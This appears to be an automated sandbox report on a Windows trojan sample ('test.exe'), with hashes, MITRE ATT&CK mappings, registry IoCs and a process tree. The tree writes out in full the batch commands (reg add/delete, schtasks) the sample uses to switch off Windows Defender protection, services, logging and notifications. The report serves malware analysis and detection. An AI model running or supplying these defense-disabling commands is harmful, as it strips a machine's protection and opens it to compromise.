d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068

Resubmissions

28/06/2024, 21:31

240628-1dj7rswanm 10

28/06/2024, 21:30

240628-1cwjeasfjf 10

28/06/2024, 21:23

240628-z8y4qssdrg 10

28/06/2024, 21:14

240628-z3lw8avfpn 10

Analysis

max time kernel
46s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28/06/2024, 21:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

test.exe
Size

101KB
MD5

8eab3abc6963ebf4446c5e5aa559f1d4
SHA1

5901818505035554b05204b2575aebfcde196d35
SHA256

d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068
SHA512

d55786d83c067fbe8d39537496979b3a3fb92ee87b16f39caa0795c9eef1eb7d354636058569c870a93e8f1888c6f3ee5e75d978dda9b31ae062de47fb306432
SSDEEP

3072:gvGyYiSDnt1lD5ScJk3sVkwqAOOwOfHQ:E41YCQ/lhVOfw

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Executes dropped EXE 1 IoCs

pid	Process
1776	dllhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	test.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
648	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 656	4316	test.exe	81
PID 4316 wrote to memory of 656	4316	test.exe	81
PID 656 wrote to memory of 2248	656	cmd.exe	83
PID 656 wrote to memory of 2248	656	cmd.exe	83
PID 656 wrote to memory of 768	656	cmd.exe	84
PID 656 wrote to memory of 768	656	cmd.exe	84
PID 656 wrote to memory of 2708	656	cmd.exe	85
PID 656 wrote to memory of 2708	656	cmd.exe	85
PID 656 wrote to memory of 4736	656	cmd.exe	86
PID 656 wrote to memory of 4736	656	cmd.exe	86
PID 656 wrote to memory of 736	656	cmd.exe	87
PID 656 wrote to memory of 736	656	cmd.exe	87
PID 656 wrote to memory of 1312	656	cmd.exe	88
PID 656 wrote to memory of 1312	656	cmd.exe	88
PID 656 wrote to memory of 1216	656	cmd.exe	89
PID 656 wrote to memory of 1216	656	cmd.exe	89
PID 656 wrote to memory of 1280	656	cmd.exe	90
PID 656 wrote to memory of 1280	656	cmd.exe	90
PID 656 wrote to memory of 212	656	cmd.exe	91
PID 656 wrote to memory of 212	656	cmd.exe	91
PID 656 wrote to memory of 3888	656	cmd.exe	92
PID 656 wrote to memory of 3888	656	cmd.exe	92
PID 656 wrote to memory of 3808	656	cmd.exe	93
PID 656 wrote to memory of 3808	656	cmd.exe	93
PID 656 wrote to memory of 2128	656	cmd.exe	94
PID 656 wrote to memory of 2128	656	cmd.exe	94
PID 656 wrote to memory of 4740	656	cmd.exe	95
PID 656 wrote to memory of 4740	656	cmd.exe	95
PID 656 wrote to memory of 2900	656	cmd.exe	96
PID 656 wrote to memory of 2900	656	cmd.exe	96
PID 656 wrote to memory of 896	656	cmd.exe	97
PID 656 wrote to memory of 896	656	cmd.exe	97
PID 656 wrote to memory of 1856	656	cmd.exe	98
PID 656 wrote to memory of 1856	656	cmd.exe	98
PID 656 wrote to memory of 3844	656	cmd.exe	99
PID 656 wrote to memory of 3844	656	cmd.exe	99
PID 656 wrote to memory of 2324	656	cmd.exe	100
PID 656 wrote to memory of 2324	656	cmd.exe	100
PID 656 wrote to memory of 1468	656	cmd.exe	101
PID 656 wrote to memory of 1468	656	cmd.exe	101
PID 656 wrote to memory of 4788	656	cmd.exe	102
PID 656 wrote to memory of 4788	656	cmd.exe	102
PID 656 wrote to memory of 4100	656	cmd.exe	103
PID 656 wrote to memory of 4100	656	cmd.exe	103
PID 656 wrote to memory of 5036	656	cmd.exe	104
PID 656 wrote to memory of 5036	656	cmd.exe	104
PID 656 wrote to memory of 4552	656	cmd.exe	105
PID 656 wrote to memory of 4552	656	cmd.exe	105
PID 656 wrote to memory of 4548	656	cmd.exe	106
PID 656 wrote to memory of 4548	656	cmd.exe	106
PID 656 wrote to memory of 2264	656	cmd.exe	107
PID 656 wrote to memory of 2264	656	cmd.exe	107
PID 656 wrote to memory of 812	656	cmd.exe	108
PID 656 wrote to memory of 812	656	cmd.exe	108
PID 656 wrote to memory of 4996	656	cmd.exe	109
PID 656 wrote to memory of 4996	656	cmd.exe	109
PID 656 wrote to memory of 4248	656	cmd.exe	111
PID 656 wrote to memory of 4248	656	cmd.exe	111
PID 656 wrote to memory of 2084	656	cmd.exe	112
PID 656 wrote to memory of 2084	656	cmd.exe	112
PID 656 wrote to memory of 1064	656	cmd.exe	113
PID 656 wrote to memory of 1064	656	cmd.exe	113
PID 656 wrote to memory of 2484	656	cmd.exe	114
PID 656 wrote to memory of 2484	656	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c main.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\system32\openfiles.exe
    openfiles
    3⤵
    PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:768
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
    3⤵
    PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
    3⤵
    PID:4736
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:736
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
    3⤵
    PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:1216
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1280
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
    3⤵
    PID:212
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
    3⤵
    PID:3888
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:3808
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4740
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:896
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3844
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2324
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:1468
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:4788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:4100
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:5036
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4552
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4548
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2264
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:812
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:4996
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4248
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:2084
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:1064
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2484
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4876
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:808
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3588
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:4520
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe
    dllhost.exe
    3⤵
    - Executes dropped EXE
    PID:1776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe

Filesize
90KB

MD5
f75acc31206c792c4831f9aa52404b2b

SHA1
c1380e151eba78a3ec395f46d76fbcd273c10afe

SHA256
7aaa38f2e289da72c6dc9b61d4951f34badc693798560f69ad42944eb470dbfd

SHA512
80614ccd2823c429867a421ca0464ed088f474c2399681be398982a440112fa1683680a2f4cf496bec98f23792ea5a74ece95fd0741499b9389a98ab72c5a72f

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\main.bat

Filesize
4KB

MD5
ea021e4f2f77ebf4e02a39c82172e240

SHA1
98f921e1b0d0a1273fb1c9e9dcf6245cbd92c91a

SHA256
c7c390518a2d06e2567eca287925058bcb8bc466cffe4c210fec0f9664f5bcde

SHA512
7f201842a37cd57751d800a950beb5369e010f6dae34b6241db1b9e3b64c86bfe30c2116039a0f8a80bc79bd8371dd707140a9fe564e6468c4accb1eb3861d65

Download Submit
memory/1776-8-0x0000000000400000-0x000000000041D000-memory.dmp

Filesize
116KB

Download
memory/1776-10-0x0000000000400000-0x000000000041D000-memory.dmp

Filesize
116KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads